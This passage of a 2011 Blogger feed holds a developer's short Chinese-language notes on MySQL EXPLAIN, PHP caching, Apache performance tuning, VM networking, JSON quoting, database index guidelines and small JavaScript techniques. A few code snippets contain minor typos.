/&gt;&lt;code&gt;EXPLAIN SELECT * FROM website WHERE url='http://homeserver.com.tw';&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;欄位資訊，完整版看官網EXPLAIN的欄位說明&lt;br /&gt;&lt;table border="1" summary="EXPLAIN Output Columns"&gt;&lt;colgroup&gt; &lt;col&gt;&lt;/col&gt; &lt;col&gt;&lt;/col&gt; &lt;/colgroup&gt; &lt;thead&gt;&lt;tr&gt; &lt;th&gt;Column&lt;/th&gt; &lt;th&gt;Meaning&lt;/th&gt; &lt;/tr&gt;&lt;/thead&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_id"&gt;id&lt;/a&gt;&lt;/td&gt; &lt;td&gt;The SELECT identifier&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_select_type"&gt;select_type&lt;/a&gt;&lt;/td&gt; &lt;td&gt;The SELECT type&lt;br /&gt;沒有union為simple, 其他看官網 &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_table"&gt;table&lt;/a&gt;&lt;/td&gt; &lt;td&gt;The table for the output row&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_type"&gt;type&lt;/a&gt;&lt;/td&gt; &lt;td&gt;The join type&lt;br /&gt;最優至最差的類型為system,const, eq_reg, ref, range, ..., ALL&amp;nbsp; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_possible_keys"&gt;possible_keys&lt;/a&gt;&lt;/td&gt; &lt;td&gt;The possible indexes to choose&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_key"&gt;key&lt;/a&gt;&lt;/td&gt; &lt;td&gt;The index actually chosen&lt;br /&gt;如果為NULL，則是沒有使用索引。 &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_key_len"&gt;key_len&lt;/a&gt;&lt;/td&gt; &lt;td&gt;The length of the chosen key&lt;br /&gt;長度越短 準確性越高。 &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_ref"&gt;ref&lt;/a&gt;&lt;/td&gt; &lt;td&gt;The columns compared to the index&lt;br /&gt;顯示那一列的索引被使用。一般是一個常數(const)。 &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_rows"&gt;rows&lt;/a&gt;&lt;/td&gt; &lt;td&gt;Estimate of rows to be examined&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://www.blogger.com/explain-output.html#explain_extra"&gt;Extra&lt;/a&gt;&lt;/td&gt; &lt;td&gt;Additional information&lt;br /&gt;MySQL用來解析額外的查詢訊息。如果此欄位的值為：Using temporary和Using filesort，表示MySQL無法使用索引。&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Extra&lt;br /&gt;Extra為MySQL用來解析額外的查詢訊息，其中欄位值所代表的意義如下：&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Distinct：當MySQL找到相關連的資料時，就不再搜尋。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Not exists：MySQL優化 LEFT JOIN，一旦找到符合的LEFT JOIN資料後，就不再搜尋。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Range checked for each Record(index map:#)：無法找到理想的索引。此為最慢的使用索引。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Using filesort：當出現這個值時，表示此SELECT語法需要優化。因為MySQL必須進行額外的步驟來進行查詢。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Using index：返回的資料是從索引中資料，而不是從實際的資料中返回，當返回的資料都出現在索引中的資料時就會發生此情況。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Using temporary：同Using filesort，表示此SELECT語法需要進行優化。此為MySQL必須建立一個暫時的資料表(Table)來儲存結果，此情況會發生在針對不同的資料進行ORDER BY，而不是GROUP BY。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Using where：使用WHERE語法中的欄位來返回結果。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;System：system資料表，此為const連接類型的特殊情況。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Const：資料表中的一個記錄的最大值能夠符合這個查詢。因為只有一行，這個值就是常數，因為MySQL會先讀這個值然後把它當做常數。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;eq_ref：MySQL在連接查詢時，會從最前面的資料表，對每一個記錄的聯合，從資料表中讀取一個記錄，在查詢時會使用索引為主鍵或唯一鍵的全部。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;ref：只有在查詢使用了非唯一鍵或主鍵時才會發生。&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;range：使用索引返回一個範圍的結果。例如：使用大於&amp;gt;或小於&amp;lt;查詢時發生。  index：此為針對索引中的資料進行查詢。  ALL：針對每一筆記錄進行完全掃瞄，此為最壞的情況，應該儘量避免。  &lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;div class="posttitle"&gt;&lt;br /&gt;Reference &lt;/div&gt;&lt;div class="posttitle"&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://homeserver.com.tw/mysql/mysql%e6%9c%80%e4%bd%b3%e5%8c%96%e5%88%86%e6%9e%90%e6%8c%87%e4%bb%a4explain/" rel="bookmark" title="Permanent Link to MySQL最佳化分析指令EXPLAIN"&gt;MySQL最佳化分析指令EXPLAIN&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-3827285176849575015?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/3827285176849575015/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=3827285176849575015' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3827285176849575015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3827285176849575015'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/07/db-select.html' title='MySQL - select最佳化分析'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-6794526183292657673</id><published>2011-07-16T17:07:00.001+08:00</published><updated>2011-07-16T17:08:35.448+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>PHP 效能 - 快取篇</title><content type='html'>&lt;ol&gt;&lt;li&gt;APC&lt;/li&gt;&lt;li&gt;Memcache&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;何時用APC (獨立在一台server)&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Application Settings&lt;/li&gt;&lt;li&gt;Configuration&lt;/li&gt;&lt;li&gt;Data is the same for each user&lt;/li&gt;&lt;li&gt;request都由同一台server responses(i.e sticky session)&lt;/li&gt;&lt;li&gt;file upload process &amp;amp; sessions (if using sticky session)&lt;/li&gt;&lt;/ul&gt;何時用Memcache (分散在不同的servers)&lt;br /&gt;&lt;ul&gt;&lt;li&gt;當request不保證指向同server時&lt;/li&gt;&lt;li&gt;Data is specific or targeted to a user &lt;/li&gt;&lt;li&gt;User sessions&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;References&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;h1 class="h-slideshow-title" style="font-weight: normal;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="http://www.slideshare.net/benramsey/caching-with-memcached-and-apc"&gt;Caching with Memcached and APC&lt;/a&gt;&lt;/span&gt;&lt;/h1&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-6794526183292657673?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/6794526183292657673/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=6794526183292657673' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6794526183292657673'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/6794526183292657673'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/07/php.html' title='PHP 效能 - 快取篇'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8719867416990774087</id><published>2011-07-16T10:20:00.001+08:00</published><updated>2011-08-01T18:23:02.387+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Performace'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Apach效能</title><content type='html'>&lt;ol&gt;&lt;li&gt;確保足夠的RAM&lt;br /&gt;在無法購買更快的硬體情形下，硬體方面已經沒有方法讓伺服器更快，因此重點要確定有足夠的RAM&lt;br /&gt;&lt;ul&gt;&lt;li&gt; 利用top或ps檢視apache的process佔用的記憶體&lt;/li&gt;&lt;li&gt; 或限制最大的process數，利用MaxClients指令限制&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;以ab評校Apache的效能&lt;br /&gt;解答：apache/bin/ab -n 1000 -c 10 htp://www.example.com/test.html&lt;br /&gt;&lt;blockquote&gt;ab: 請求url的資源&lt;br /&gt;-n: request 1000次&lt;br /&gt;-c: 一次送出10個請求(同步的意思)&lt;/blockquote&gt;適合用於輕微組態改變，並測試改變前後伺服器的效能&lt;br /&gt;note:，不要在欲測試的server試ab，因為ab會耗資源，所以效能會低於別台機器發出的ab,且同一台不會有網路delay&lt;/li&gt;&lt;li&gt;調校保持連線的設定&lt;br /&gt;解答：啟用KeepAlive指令，並將相關指令設定成合理值&lt;br /&gt;&lt;code&gt;KeepAlive On&lt;br /&gt;MaxKeepAliveRequests 0&lt;br /&gt;KeepAliveTimeout 15&lt;/code&gt;&lt;br /&gt;KeepAlive可讓單一連線上多個請求，減少建立socket連線所需的時間&lt;br /&gt;MaxKeepAliveRequest即每個連線上允許多少請求&lt;br /&gt;KeepAliveTimeout 超過閒置時間即斷線,大多數15即可順利運作&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;Apache Cookbook, O'Reilly&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8719867416990774087?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8719867416990774087/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8719867416990774087' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8719867416990774087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8719867416990774087'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/07/apach.html' title='Apach效能'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-9161317749086462644</id><published>2011-07-14T15:59:00.000+08:00</published><updated>2011-07-14T15:59:34.407+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineering'/><title type='text'>除錯</title><content type='html'>References:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://ihower.tw/blog/archives/2333"&gt;實戰敏捷開發 Practices of an Agile Developer (5) 除錯篇&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.wretch.cc/blog/kojenchieh/15344161"&gt;說明 bug report 該有什麼內容&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.amazon.com/Defensive-Design-Web-improve-messages/dp/073571410X"&gt; Defensive Design for the Web: How to improve error messages, help, forms, and other crisis points&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-9161317749086462644?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/9161317749086462644/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=9161317749086462644' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9161317749086462644'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9161317749086462644'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/07/blog-post.html' title='除錯'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4677810842388377126</id><published>2011-07-02T23:40:00.000+08:00</published><updated>2011-07-02T23:40:18.339+08:00</updated><title type='text'>vm指向host為gateway</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;最近把vm用在自己的nb上跑&lt;br /&gt;利用bridge mode向dhcp取ip&lt;br /&gt;&lt;br /&gt;有次到了沒網路的地方 才發覺沒辦法連到vm&lt;br /&gt;才想說用自己的nb當gateway來連，這樣不用怕沒網路，也不用改ip了&lt;br /&gt;&lt;br /&gt;想法是把vm的gateway設為自己的nb&lt;br /&gt;不過試了好久，一直沒成功&lt;br /&gt;請教仰哥後，果然成功了&lt;br /&gt;再次感謝仰哥&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;選擇Nat模式&lt;br /&gt;在vm的Network Mode選擇Nat模式&lt;br /&gt;&lt;div class="separator" style="clear: both;"&gt;&lt;a href="http://1.bp.blogspot.com/-5UNbODlCCys/Tg86DxY0gDI/AAAAAAAAFS0/Phifw3286wk/s1600/mode.jpg" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/-5UNbODlCCys/Tg86DxY0gDI/AAAAAAAAFS0/Phifw3286wk/s200/mode.jpg" width="186" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;抄下nat網卡的ip&lt;br /&gt;vm安裝好後，會建立2張網卡，抄下ip(右鍵/內容... 應該不用教吧)&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-8BvMaKKhKrM/Tg86QIrFG9I/AAAAAAAAFS8/N--FEHNEE6w/s1600/vm-ethernetcard.JPG" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://3.bp.blogspot.com/-8BvMaKKhKrM/Tg86QIrFG9I/AAAAAAAAFS8/N--FEHNEE6w/s200/vm-ethernetcard.JPG" width="200" /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;設定gateway&lt;br /&gt;將vm裡的os的gateway設成步驟2的ip即可&lt;/li&gt;就這麼簡單 &lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4677810842388377126?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4677810842388377126/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4677810842388377126' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4677810842388377126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4677810842388377126'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/07/vmhostgateway.html' title='vm指向host為gateway'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-5UNbODlCCys/Tg86DxY0gDI/AAAAAAAAFS0/Phifw3286wk/s72-c/mode.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4705937116807979835</id><published>2011-06-30T10:33:00.000+08:00</published><updated>2011-06-30T10:33:14.008+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>json parse error with double quotes</title><content type='html'>搞了半天&lt;br /&gt;原來要用3個斜線&lt;br /&gt;&lt;code&gt;var tmp = {'name' : "kev///'s blog"};&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http://stackoverflow.com/questions/949604/json-parse-error-with-double-quotes"&gt;json parse error with double quotes&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4705937116807979835?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4705937116807979835/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4705937116807979835' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4705937116807979835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4705937116807979835'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/06/json-parse-error-with-double-quotes.html' title='json parse error with double quotes'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8738213333095306193</id><published>2011-06-28T15:07:00.000+08:00</published><updated>2011-06-28T15:07:02.354+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Database'/><title type='text'>建立index的準則</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;具有特定鍵值足以識別特定資料&lt;br /&gt;如Primary key, Alternative key或user視為key拿來查詢的欄位&lt;/li&gt;&lt;li&gt;table資料少&lt;br /&gt;不到50筆或不到一個Data block，則建立的價值不大&lt;/li&gt;&lt;li&gt;join過程在where中會出現的欄位&lt;br /&gt;join過程大都以Primary key及Foreign key為條件，因此最好針對 Foreign key建立Index&lt;/li&gt;&lt;li&gt;如果update或Delete程度超過20%，index價值不大&lt;br /&gt;因為系統必需同時I/O索引與實體資料&lt;/li&gt;&lt;li&gt; 不要太多索引&lt;br /&gt;太多的索引會造成資料異動過程要花很多時間調整索引&lt;/li&gt;&lt;li&gt;查尋條件不明確&lt;br /&gt;考慮建立複合索引&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Reference&lt;br /&gt;Oracle 10g 資料庫管理實務, 林存德&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8738213333095306193?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8738213333095306193/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8738213333095306193' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8738213333095306193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8738213333095306193'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/06/index.html' title='建立index的準則'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7443620720697775383</id><published>2011-06-18T08:46:00.000+08:00</published><updated>2011-06-18T08:46:42.932+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>Javascript debug工具、技巧</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;寫入快顯視窗&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;測試視窗&lt;br /&gt;var debug = window.open('','newWin',[arguments]);&lt;br /&gt;function addDebugginMessage(msg){&lt;br /&gt;  debug.document.write(msg + '&amp;lt;br&amp;gt;');&lt;br /&gt;}&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7443620720697775383?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7443620720697775383/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7443620720697775383' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7443620720697775383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7443620720697775383'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/06/javascript-debug.html' title='Javascript debug工具、技巧'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-777871979400703350</id><published>2011-06-18T08:44:00.000+08:00</published><updated>2011-06-18T08:44:02.625+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>無侵入腳本程式設計 unobtrusive scripting</title><content type='html'>意思即將html中的view(css),結構(html),行為(js)分開 &lt;br /&gt;不要把3者都摻在html裡&lt;br /&gt;css就很明確的利用class name從html分離了&lt;br /&gt;js見下例&lt;br /&gt;&lt;code&gt;//html夾了javascript&lt;br /&gt;&amp;lt;a href="#" onclick="showPopuup('niceimage.jpg')"&amp;gt;Nice image!&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;將html與js分開&lt;br /&gt;&lt;code&gt;&amp;lt;a href="niceimage.jpg" id="nice"&amp;gt;Nice image!&amp;lt;/a&amp;gt;&lt;br /&gt;document.getElementById('nice').onclick = function(){&lt;br /&gt;    showPopup(this.href)&lt;br /&gt;};&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-777871979400703350?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/777871979400703350/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=777871979400703350' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/777871979400703350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/777871979400703350'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/06/unobtrusive-scripting.html' title='無侵入腳本程式設計 unobtrusive scripting'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-8628395908397873910</id><published>2011-06-18T08:31:00.002+08:00</published><updated>2011-06-18T08:33:14.461+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>跳過中間處理頁</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;html中，利用href的效果，如同click連結，會開啟新頁面&lt;br /&gt;如果js中，判斷條件後轉頁&lt;br /&gt;利用href轉頁，將會在history多一個歷史記錄&lt;br /&gt;將造成使用者click上一頁會回到判斷頁，&lt;br /&gt;而判斷頁又馬上轉到下一頁 &lt;br /&gt;&lt;br /&gt;解決方法，利用replace&lt;br /&gt;&lt;code&gt;&lt;span style="color: #38761d;"&gt;//javascript&lt;/span&gt;&lt;br /&gt;var isSupported = [check JavaScript support];&lt;br /&gt;if (isSupported){&lt;br /&gt;&amp;nbsp; locaiton.href = 'scriptpage.html';&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #38761d;"&gt;&amp;nbsp;//如果使用者按上一頁，就會再回到此判斷頁&lt;/span&gt;&lt;br /&gt;&amp;nbsp; locaiton.replace('scriptpage.html');&amp;nbsp; &lt;span style="color: #38761d;"&gt;//將回到真的上一頁&lt;/span&gt;&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reference:&lt;br /&gt;pp]{ on JavaScript&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-8628395908397873910?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8628395908397873910/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8628395908397873910' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8628395908397873910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8628395908397873910'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/06/blog-post_18.html' title='跳過中間處理頁'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-6805432770603318503</id><published>2011-06-13T22:13:00.002+08:00</published><updated>2011-11-17T15:20:38.831+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>CentOS 